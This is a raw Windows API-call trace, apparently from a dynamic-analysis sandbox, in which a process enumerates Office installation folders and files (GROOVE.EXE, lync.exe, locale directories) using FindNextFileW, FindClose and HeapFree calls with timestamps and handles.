	[0162.720] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1
	[0162.722] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0162.722] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0
	[0162.722] FindClose (in: hFindFile=0x4140e18 | out: hFindFile=0x4140e18) returned 1
	[0162.722] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.722] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0
	[0162.722] FindClose (in: hFindFile=0x41402d8 | out: hFindFile=0x41402d8) returned 1
	[0162.722] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0162.722] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sounds", cAlternateFileName="")) returned 1
	[0162.724] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.724] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1
	[0162.726] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.726] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1
	[0162.727] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.727] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0
	[0162.727] FindClose (in: hFindFile=0x41402d8 | out: hFindFile=0x41402d8) returned 1
	[0162.727] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0162.727] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolBMPs", cAlternateFileName="")) returned 1
	[0162.729] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0162.729] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolData", cAlternateFileName="")) returned 1
	[0162.731] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0162.731] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1
	[0162.731] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0162.731] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 0
	[0162.731] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0162.731] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.731] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0
	[0162.732] FindClose (in: hFindFile=0x41402d8 | out: hFindFile=0x41402d8) returned 1
	[0162.732] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0162.732] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1
	[0162.734] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0162.734] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 0
	[0162.734] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0162.734] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0162.736] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf58154c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf370c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1
	[0163.095] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.095] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1
	[0163.095] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.095] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SOLVER", cAlternateFileName="")) returned 0
	[0163.095] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0163.095] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.095] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LogoImages", cAlternateFileName="LOGOIM~1")) returned 1
	[0163.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.105] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4d0d64, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="lync.exe", cAlternateFileName="")) returned 1
	[0163.109] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0163.109] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MeetingJoinAxOC.dll", cAlternateFileName="MEETIN~1.DLL")) returned 1
	[0163.110] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.110] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1
	[0163.110] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.110] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1
	[0163.110] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.110] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1
	[0163.111] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.111] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1
	[0163.111] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.111] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1
	[0163.111] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.111] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el", cAlternateFileName="")) returned 1
	[0163.111] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.111] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0163.111] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.111] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1
	[0163.111] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.111] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1
	[0163.112] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.112] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1
	[0163.112] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.112] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi", cAlternateFileName="")) returned 1
	[0163.112] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.112] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1
	[0163.112] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.112] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1
	[0163.113] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.113] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1
	[0163.113] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.113] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1
	[0163.113] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.113] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1
	[0163.113] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.113] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1
	[0163.113] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0163.113] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1
	[0163.114] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
